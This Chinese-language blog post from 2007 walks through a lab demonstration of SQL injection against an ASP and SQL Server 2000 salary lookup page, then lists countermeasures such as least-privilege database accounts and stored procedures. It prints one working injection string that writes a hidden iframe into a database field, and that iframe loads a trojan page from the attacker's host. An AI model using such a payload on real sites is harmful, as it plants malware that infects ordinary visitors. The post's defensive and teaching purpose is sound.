2007年4月24日 星期二

(Demo)利用SQL Injection將惡意連結寫入資料庫

##CONTINUE##

主題:利用SQL Injection將惡意連結寫入資料庫

VMWARE 模擬環境:

Hacker:IP:192.168.123.101

          工具:SQL語法與指令、SQL Injection 惡意工具

Server:IP:192.168.123.100

         服務:IIS 5.0、SQL Server 2000、ASP程式、本機系統帳號

 

模擬過程:

Hacker 首先尋找Web網頁中可輸入傳值或變數的輸入欄位(例如:搜尋欄位),模擬發現目標Web Server 192.168.123.100 (DNS名稱暫訂為 www.xyz.com.tw 非真實主機)。

模擬案例為該Web Server提供[ XYZ公司 部門薪資查詢程式 ],其輸入[ 部門編號 ]後並沒有針對該項變數做[ 加密、編碼 ]或者該ASP程式呼叫資料庫的帳號權限太大,所以可採用[ SQL Injection 惡意工具 ]來嘗試猜測資料表及欄位名稱。

註:一個具有安全的網頁撰寫程式,其在程式設計階段應考慮呼叫ADO與資料庫的帳號其權限,應做適當的安全控管設計。所以應該無法猜出其資料表及欄位名稱才是比較妥當的做法。本模擬案例是故意採用[ SQL Server 2000中最大的管理帳號 SA 來做為ASP程式呼叫之用],實際上現今應該沒有客戶是採用這麼不安全的方式。

經比對之後可發現工具所猜測出來的資料表及欄位名稱與實際上之SQL Server 2000內所設計的是相同的,所以駭客可以將這些所獲得之欄位資訊組合出[ 加入帳號取得權限更新欄位 ]等的SQL語法。

在該網站的URL以及輸入的欄位上,輸入經組合好的SQL語法字串,嘗試是否可成功[ 加入帳號、取得權限、更新欄位 ]的行為操作。

將[ ' ; UPDATE employee SET empname = '林佳容 <iframe src=http://192.168.123.101/muma/06014.htm width=0 height=0></iframe>' where empno=6905 -- ]語法輸入該模擬網站的URL中,其目的為將惡意程式的語法更新到正常的欄位中,達成以後只要有正常的使用者呼叫到該項欄位資料,例如:查詢薪資資料時,就會觸發惡意語法並呼叫木馬程式植入於該使用者的電腦中。

註:

  • 此手法只能針對網頁應用程式+資料庫型態的網站,例如:ASP+SQL Server,來做更新植入惡意語法於資料庫的手法。如果是單純的[ htm、html ]等靜態網頁,則無法成功。
  • 該手法主要是利用[ ASP程式中ADO呼叫資料庫的權限太大 ]來執行猜測資料庫的資料表與欄位,並採用[ 組合SQL語法的字串與惡意程式 ]來達到將惡意語法更新至資料庫的目的。
  • 並不是每個資料庫欄位都可以使用[ UPDATE xxx SET xxx =' 惡意語法 ' ]來達到更新,必須該項資料欄位型態為[ char 或 varchar ]的文字型態,且該欄位必須要有足夠的欄位空間能容納惡意語法的字串。通常類似這樣的[ varchar(255) ]的欄位型態會出現在撰寫討論區、留言版或新聞內容的欄位中其為最主要被植入的欄位。
  • 本Demo示範時沒有處理繁簡中文字型的轉換,造成原本[林佳容被UPDATE之後便成輿槽],事後發現懶得修正就此註明。

 

防治手段:

  • 修正或改寫ASP或其他網頁應用程式,尤其是呼叫ADO的資料庫帳號應將其權限縮小。例如:單純做為查詢之用的ASP程式其呼叫的帳號應該只需要提供[ Select ]的權限即可。
  • 利用Stored Procedure進行資料庫操作而不要使用SQL語法的組合字串傳值或變數。
  • 限制應用程式或網頁只能擁有執行Store Procedure的權限,不能直接存取資料庫中的Table和View。
  • 設定Table、View的欄位權限欄位空間大小。
  • 刪除不必要的系統預設Store Procedure(例如:xp_cmdshell)。
  • 避免應用程式使用系統管理員(sa/root/admimistrator)身份登入資料庫。
  • 設定TextBox欄位的MaxLength屬性,限定輸入字串的長度。(此法遇到URL網址輸入不一定能限制) 。
  • 設定TextBox欄位傳值宣告變數的字串長度
  • 加強對資料庫操作的稽核
  • 建置具第七層應用程之防火牆或IDS/IDP等多層次資訊安全架構,原因為大多數設定良好的防火牆或IDS/IDP設備均可阻擋此類的手法。

特別聲明:

  • 本影片預設都沒有錄製聲音。
  • 此模擬過程為Demo常見之入侵手法,示範及被攻擊主機均為VMWARE模擬機器而非真實主機
  • 該手法所利用之方式,實際上現今應該沒有客戶是採用這麼不安全的方式。
  • 本示範檔並非[教授入侵技巧],相關[駭客工具]及[木馬程式]等檔案請勿詢問及索取
  • 部分關鍵畫面採用霧狀馬賽克顯示,以避免旁人有樣學樣。
http://anti-hacker.blogspot.com/2007/04/demosql-injection.html

0 張貼意見:

 
Blogger Template Layout Design by [ METAMUSE ] : Code Name BlackCat 2.0.0